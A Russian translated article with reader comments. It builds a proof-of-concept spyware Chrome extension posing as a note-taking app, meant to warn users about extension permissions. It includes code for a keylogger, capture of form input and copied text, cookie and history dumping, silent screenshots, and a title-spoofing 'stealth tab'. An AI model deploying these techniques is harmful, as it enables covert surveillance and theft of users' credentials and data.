Пусть Manifest v3 и ограничил возможности браузерных расширений, но я считаю, что они далеко не исчерпаны. Чтобы доказать это, создадим расширение Chrome, крадущее максимально возможное количество данных.

Мы добьёмся двух целей:

  • Исследуем грани возможного для расширений Chrome
  • Продемонстрируем, что вы подвержены опасности, если не будете аккуратны с тем, что устанавливаете.

Примечание: на самом деле реализация этого расширения — злодейство. Вам не следует использовать в злонамеренных целях полномочия расширений, красть пользовательские данные и создавать зловредные браузерные расширения. Любые реализации, производные расширения или применение этих техник без разрешения Национальной баскетбольной ассоциации не рекомендуются.

Основные правила


  • Пользователь не должен подозревать, что за кулисами что-то происходит.
  • Не должно быть никаких визуальных признаков происходящего.
    • Никаких лишних сообщений, предупреждений или ошибок в консоли.
    • Никаких дополнительных браузерных предупреждений или диалоговых окон с запросом разрешений.
    • Никакого лишнего сетевого трафика на уровне страницы.
  • Как только пользователь даст разрешение в ответ на запрос широких полномочий, он должен забыть о правах доступа расширения.

Краткое введение в расширения Chrome


Существует три компонента, которые важны для нашего злодейского расширения:

Background Service Worker (воркер фонового сервиса)

  • Управляется событиями. Может использоваться как «сохраняемый» контейнер для выполнения JavaScript
  • Может получать доступ ко всем* WebExtensions API
  • Не может получать доступ к DOM API
  • Не может напрямую получать доступ к страницам

Всплывающая страница

  • Открывается только после действий пользователя
  • Может получать доступ ко всем* WebExtensions API
  • Может получать доступ к DOM API
  • Не может напрямую получать доступ к страницам

Content Script (скрипт контента)

  • Имеет прямой и полный доступ ко всем страницам и DOM
  • Может выполнять JavaScript на странице, однако в среде песочницы
  • Может использовать только подмножество WebExtensions API
  • Имеет те же ограничения, что и страница (CORS и так далее)

*Присутствуют незначительные ограничения

Получаем глобальные разрешения


Просто для развлечения наше зловредное расширение будет запрашивать все возможные разрешения. На странице https://developer.chrome.com/docs/extensions/mv3/declare_permissions/ есть список разрешений расширений Chrome, и мы воспользуемся многими из них.

Убрав все разрешения, которые не поддерживает Chrome, мы получим следующее:

{
  ...
  "host_permissions": ["<all_urls>"],
  "permissions": [
    "activeTab",
    "alarms",
    "background",
    "bookmarks",
    "browsingData",
    "clipboardRead",
    "clipboardWrite",
    "contentSettings",
    "contextMenus",
    "cookies",
    "debugger",
    "declarativeContent",
    "declarativeNetRequest",
    "declarativeNetRequestWithHostAccess",
    "declarativeNetRequestFeedback",
    "desktopCapture",
    "downloads",
    "fontSettings",
    "gcm",
    "geolocation",
    "history",
    "identity",
    "idle",
    "management",
    "nativeMessaging",
    "notifications",
    "pageCapture",
    "power",
    "printerProvider",
    "privacy",
    "proxy",
    "scripting",
    "search",
    "sessions",
    "storage",
    "system.cpu",
    "system.display",
    "system.memory",
    "system.storage",
    "tabCapture",
    "tabGroups",
    "tabs",
    "tabs",
    "topSites",
    "tts",
    "ttsEngine",
    "unlimitedStorage",
    "webNavigation",
    "webRequest"
  ],
}

manifest.json

Большинство из этих разрешений не потребуется, но кого это волнует? Давайте взглянем, как будет выглядеть окно предупреждения:


Chrome скроллит контейнер окна предупреждения о запросе разрешений, поэтому больше половины предупреждений даже не отображается. Я думаю, что большинство пользователей даже не задумается, стоит ли устанавливать приложение, которое, похоже, запрашивает всего пять разрешений.

Полный список предупреждения о разрешениях выглядит так:

  • То, что мы видим в диалоговом окне:

    • Доступ к бэкенду отладчика страниц
    • Считывание и изменение всех данных пользователя на веб-сайтах
    • Определение физического местоположения
    • Считывание и изменение истории просмотров на всех устройствах, где выполнен вход
    • Отображение уведомлений
  • То, что скрыто:

    • Считывание и изменение закладок
    • Считывание и изменение копируемых и вставляемых данных
    • Захват содержимого экрана
    • Управление загрузками
    • Определение и извлечение накопителей
    • Изменение параметров доступа веб-сайтов к таким функциям, как куки, JavaScript, плагины, геолокация, микрофон, камера и так далее
    • Управление приложениями, расширениями и темами
    • Обмен данными с взаимодействующими нативными приложениями
    • Изменение параметров, связанных с конфиденциальностью
    • Просмотр групп вкладок и управление ими
    • Считывание всего текста при помощи синтезатора речи

Давайте добавим скрипт контента, работающий на всех страницах и фреймах, расширим область действия нашего расширения до окон режима «Инкогнито» и сделаем все ресурсы доступными на случай, если они нам понадобятся:

{
  ...
  "web_accessible_resources": [
    {
      "resources": ["*"],
      "matches": ["<all_urls>"]
    }
  ],
  "content_scripts": [
    {
      "matches": ["<all_urls>"],
      "all_frames": true,
      "css": [],
      "js": ["content-script.js"],
      "run_at": "document_end"
    }
  ],
  "incognito": "spanning",
}

manifest.json

Фасад расширения


Наше зловещее расширение будет притворяться приложением для создания заметок:


Благодаря этому страница расширения будет открываться часто, что позволяет нам незаметно выполнять зловредный сбор данных. Также мы используем воркер фонового сервиса.

Аналитика и извлечение данных


Жизнь коротка, Интернет быстр, а накопители дёшевы. Любые данные, которые решит собирать наше расширение, могут быть отправлены на контролируемый нами сервер при помощи воркера фонового сервиса, а пользователь даже не догадается об этом. Эти сетевые запросы отобразятся, только если он решит исследовать сетевую активность самого расширения, до которой довольно сложно добраться. Хотите добавить постоянное слежение за пользователем на веб-страницах? Никаких проблем! На сетевой трафик от фоновой страницы не обращают внимания блокировщики рекламы и другие расширения для защиты конфиденциальности пользователей, поэтому ради бога, отслеживайте каждый щелчок и нажатие клавиши. (Внешние менеджеры сетевого трафика и программы наподобие PiHole будут отслеживать это.)

Очень лёгкая добыча


WebExtensions API сразу же позволяет собирать нам довольно много информации почти без малейших усилий.

Куки


chrome.cookies.getAll({}) получает в виде массива все куки браузера.

История


chrome.history.search({ text: "" }) получает в виде массива всю историю просмотров пользователя.

Скриншоты


chrome.tabs.captureVisibleTab() втихомолку делает скриншот того, что в данный момент видит пользователь. Мы можем вызывать эту функцию в любое время при помощи сообщений, отправляемых из скрипта контента, или даже чаще для URL, которые нам кажутся ценными. API возвращает изображение в виде удобных строк данных URL, поэтому очень легко передать его в нашу конечную точку сбора данных. Делают ли браузерные расширения захват вашего экрана прямо сейчас? Вы никогда этого не узнаете!

Пользовательская навигация


Можно использовать webNavigation API для удобного отслеживания действий пользователя в реальном времени:

chrome.webNavigation.onCompleted.addListener((details) => {
  // {
  //   "documentId": "F5009EFE5D3C074730E67F5C1D934C0A",
  //   "documentLifecycle": "active",
  //   "frameId": 0,
  //   "frameType": "outermost_frame",
  //   "parentFrameId": -1,
  //   "processId": 139,
  //   "tabId": 174034187,
  //   "timeStamp": 1676958729790.8088,
  //   "url": "https://www.linkedin.com/feed/"
  // }
});

background.js

Трафик страниц


webRequest API позволяет нам просматривать весь сетевой трафик каждой вкладки, отделять сетевой трафик при помощи requestBody и извлекать интересные учётные данные, адреса и так далее:

chrome.webRequest.onBeforeRequest.addListener(
  (details) => {
    if (details.requestBody) {
      // Захват данных requestBody
    }
  },
  {
    urls: ["<all_urls>"],
  },
  ["requestBody"]
);

background.js

Кейлоггер


Так как скрипт контента выполняется на каждой странице, считывать нажатия клавиш чертовски легко. Создание буфера нажатия клавиш с периодическим сбросом данных предоставит нам удобную возможность чтения последовательных нажатий клавиш.

let buffer = "";

const debouncedCaptureKeylogBuffer = _.debounce(async () => {
  if (buffer.length > 0) {
    // Сбрасываем буфер

    buffer = "";
  }
}, 1000);

document.addEventListener("keyup", (e: KeyboardEvent) => {
  buffer += e.key;

  debouncedCaptureKeylogBuffer();
});

content-script.js

Захват ввода


Из скрипта контента можно прослушивать события input любых элементов с возможностью редактирования и захватывать их значение.

[...document.querySelectorAll("input,textarea,[contenteditable]")].map((input) =>
  input.addEventListener("input", _.debounce((e) => {
    // Считываем введённое значение
  }, 1000))
);

content-script.js

Если мы ожидаем, что DOM страницы будет часто меняться (например, при помощи SPA), то нам определённо не стоит упускать любые ценные данные. Просто установим MutationObserver для наблюдения за целой страницей и при необходимости будем повторно применять слушателей.

const inputs: WeakSet<Element> = new WeakSet();

const debouncedHandler = _.debounce(() => {
  [...document.querySelectorAll("input,textarea,[contenteditable")]
    .filter((input: Element) => !inputs.has(input))
    .map((input) => {
      input.addEventListener(
        "input",
        _.debounce((e) => {
          // Считываем введённое значение
        }, 1000)
      );

      inputs.add(input);
    });
}, 1000);

const observer = new MutationObserver(() => debouncedHandler());
observer.observe(document.body, { subtree: true, childList: true });

content-script.js

Захват буфера обмена


С этим всё чуть сложнее. navigator.clipboard.read() и любой другой метод Clipboard API отображает пользователю диалоговое окно с запросом разрешения, так что этот способ нам не подходит.


Использование document.execCommand("paste") для выполнения дампа буфера обмена в скрытое поле ввода работает ненадёжно, поэтому придётся сохранять со страницы выбранный текст.

document.addEventListener("copy", () => {
  const selected = window.getSelection()?.toString();

  // Захватываем выбранный текст при событиях копирования
});

content-script.js (Примечание: мне не очень нравится такое решение, но пока его вполне достаточно.)

Захват геолокации


Выполнять захват геолокации сложнее всего, это связано с ограничениями Chrome на то, когда и как она может захватываться. Добавление разрешения geolocation позволяет нам только захватывать местоположение внутри страницы расширения, но не из скриптов контента. Если всплывающее окно открывается достаточно часто, этого может быть достаточно.

navigator.geolocation.getCurrentPosition(
  (position) => {
    // Захватываем геопозицию
  },
  (e) => {},
  {
    enableHighAccuracy: true,
    timeout: 5000,
    maximumAge: 0,
  }
);

popup.js

Если нам нужно больше данных о геолокации, нужно будет поработать со скриптом контента. Необходимо помешать браузеру генерировать диалоговое окно с запросом разрешения, поэтому сначала мы проверяем, есть ли у страницы уже разрешение на получение геолокации. Если оно есть, мы можем втихомолку запрашивать местоположение.

navigator.permissions
  .query({ name: "geolocation" })
  .then(({ state }: { state: string }) => {
    if (state === "granted") {
      captureGeolocation();
    }
  });

content-script.js

Вкладка-ниндзя


Если вы похожи на меня, то у вас открыта целая куча вкладок. Большинство вкладок длительное время простаивает, и Chrome с готовностью демонтирует простаивающие вкладки, чтобы освободить ресурсы системы. Допустим, нам нужно открыть страницу расширения во вкладке так, чтобы этого не заметил пользователь. Допустим, мы хотим выполнить какую-то дополнительную обработку на уровне страниц при помощи WebExtensions API. При открытии и закрытии новой вкладки на панели вкладок будет заметна активность, поэтому это будет слишком подозрительно. Вместо этого давайте используем имеющуюся вкладку, чтобы она казалась старой вкладкой. Это может работать следующим образом:

  1. Находим подходящую вкладку, на которую пользователь не обращает внимания.
  2. Записываем её URL, URL фавиконки и заголовок.
  3. Заменяем эту вкладку страницей расширения и немедленно заменяем фавиконку и заголовок, чтобы она напоминала исходную вкладку.
  4. Творим тёмные дела.
  5. После завершения работы страницы или когда пользователь открывает вкладку, переходим к исходному URL.

Давайте создадим proof of concept. Вот пример фонового скрипта для открытия вкладки-ниндзя:

export async function openStealthTab() {
  const tabs = await chrome.tabs.query({
    // Не использовать вкладку, которую смотрит пользователь
    active: false,
    // Не использовать закреплённые вкладки, вероятно, их часто используют
    pinned: false,
    // Не использовать вкладку, воспроизводящую звук
    audible: false,
    // Не использовать вкладку, пока она не завершила загрузку
    status: "complete",
  });

  const [eligibleTab] = tabs.filter((tab) => {
    // Должна иметь url и id
    if (!tab.id || !tab.url) {
      return false;
    }

    // Не использовать страницы расширений
    if (new URL(tab.url).protocol === "chrome-extension:") {
      return false;
    }

    return true;
  });

  if (eligibleTab) {
    // Эти значения будут использоваться для спуфинга текущей страницы
    // и возврата к ней
    const searchParams = new URLSearchParams({
      returnUrl: eligibleTab.url as string,
      faviconUrl: eligibleTab.favIconUrl || "",
      title: eligibleTab.title || "",
    });

    const url = `${chrome.runtime.getURL(
      "stealth-tab.html"
    )}?${searchParams.toString()}`;

    // Открываем вкладку-ниндзя
    await chrome.tabs.update(eligibleTab.id, {
      url,
      active: false,
    });
  }
}

background.js

А вот скрипт вкладки-ниндзя:

const searchParams = new URL(window.location.href).searchParams;

// Выполняем спуфинг внешнего вида предыдущей вкладки страницы
document.title = searchParams.get('title');
document.querySelector(`link[rel="icon"]`)
  .setAttribute("href", searchParams.get('faviconUrl'));

function useReturnUrl() {
  // Пользователь переключился на эту вкладку, бежим!
  window.location.href = searchParams.get('returnUrl');
}

// Проверяем, видима ли эта страница при загрузке
if (document.visibilityState === "visible") {
  useReturnUrl();
}

document.addEventListener("visibilitychange", () => useReturnUrl());

// А теперь творим тёмные дела

// Закончили с тёмными делами, выполняем возврат!
useReturnUrl();

stealth-tab.js


Совершенно ничего подозрительного!

Публикуемся в Chrome Web Store


Конечно, я шучу. Это расширение с позором выгонят из очереди проверки. Разумеется, это просто карикатура на зловредное расширение, но безумно ли считать, что часть его функциональности можно использовать? При установке расширения Chrome, кажущегося надёжным (что бы это ни значило), большинство пользователей игнорирует сообщения с предупреждениями о запросах разрешений, какими страшными бы они ни были. После того, как вы выдали разрешения, ваша судьба находится в руках расширения. Наверно, вы думаете: «Автор, но это точно не про меня! Я опытный пользователь, аккуратный, разборчивый и педантичный. Со мной никто такого не сможет проделать». В таком случае, мой педантичный друг, ответьте-ка на вопросы:

  • Сможете ли вы не глядя назвать больше половины расширений, которые у тебя сейчас установлены?
  • Кто занимается их поддержкой? Это тот же самый человек или организация, что и были при установке расширения? Вы в этом уверены?
  • Вы действительно тщательно изучали их разрешения?

Попробуйте сами, если осмелитесь


Попробовать Spy Extension можно здесь: https://github.com/msfrisbie/spy-extension. Я добавил страницу опций, чтобы вы могли видеть все похищенные данные, которые расширение способно вытянуть из вашего браузера. Я не буду выкладывать скриншот; достаточно сказать, что содержимое страницы немного компрометирующее. Никакая собранная информация не покидает пределов браузера. Или покидает? (Нет, не покидает.)

Комментарии (12)


  1. v1000
    00.00.0000 00:00
    +3

    напомнило sudo pip install russian_roulette


    1. baldr
      00.00.0000 00:00
      +5

      А что оно делает? Я запустил - ничего не произошло, только свободного места на диске даже больше стало!



  1. NikaLapka
    00.00.0000 00:00

    Значит вставка паролей из .тхт файла, копированием через буфер обмена вполне безопасна!


    1. IgorDev
      00.00.0000 00:00

      почему? Экран же легко в фоне скриншотится.


      1. Revertis
        00.00.0000 00:00

        Но не расширением для браузера! ;)


        1. RuVl
          00.00.0000 00:00

          Если ты потом нажимаешь кнопку отправки данных, то вставка паролей мало чем спасёт.


  1. Carburn
    00.00.0000 00:00
    +6

    Вам надо обязательно попробовать опубликовать для проверки! Может нет никакой проверки расширений или не заметят


    1. gmtd
      00.00.0000 00:00
      +2

      И похерить гугл девелопер аккаунт...

      Насколько я помню, опубликовать расширение в хром расширениях это тот ещё геморрой


      1. POPSuL
        00.00.0000 00:00

        Не знаю как сейчас, но лет 7 назад было все очень даже просто. Загрузил экстеншн и все.

        Да, я конечно не занимался подобными извращениями, о которых рассказано в статье, но никакой модерации не припомню...


  1. lostero
    00.00.0000 00:00

    Против вещей из content-script.js
    В первом скрипте в header страницы (можно из своего расширения [очень просто], которое вы установите до любого другого)

    {
      // fu MV3
      window.stop();
      
      // load page content here
      // 
    }

    А так whitelist доменов под расширение в настройках расширений или сохранение файлов расширения локально и кастрация разрешений до безопасного минимума


  1. MAcroS
    00.00.0000 00:00

    Логическим продолжением этой статьи, как мне кажется, была бы утилита, которая как раз проверяла бы не ворует ли какое расширение у тебя буфер и не тырит ли скриншоты экрана.
    Всё это хорошо, показали нам как можно стать злодеем, а что делать-то? Надо всегда предлагать решение, наверное .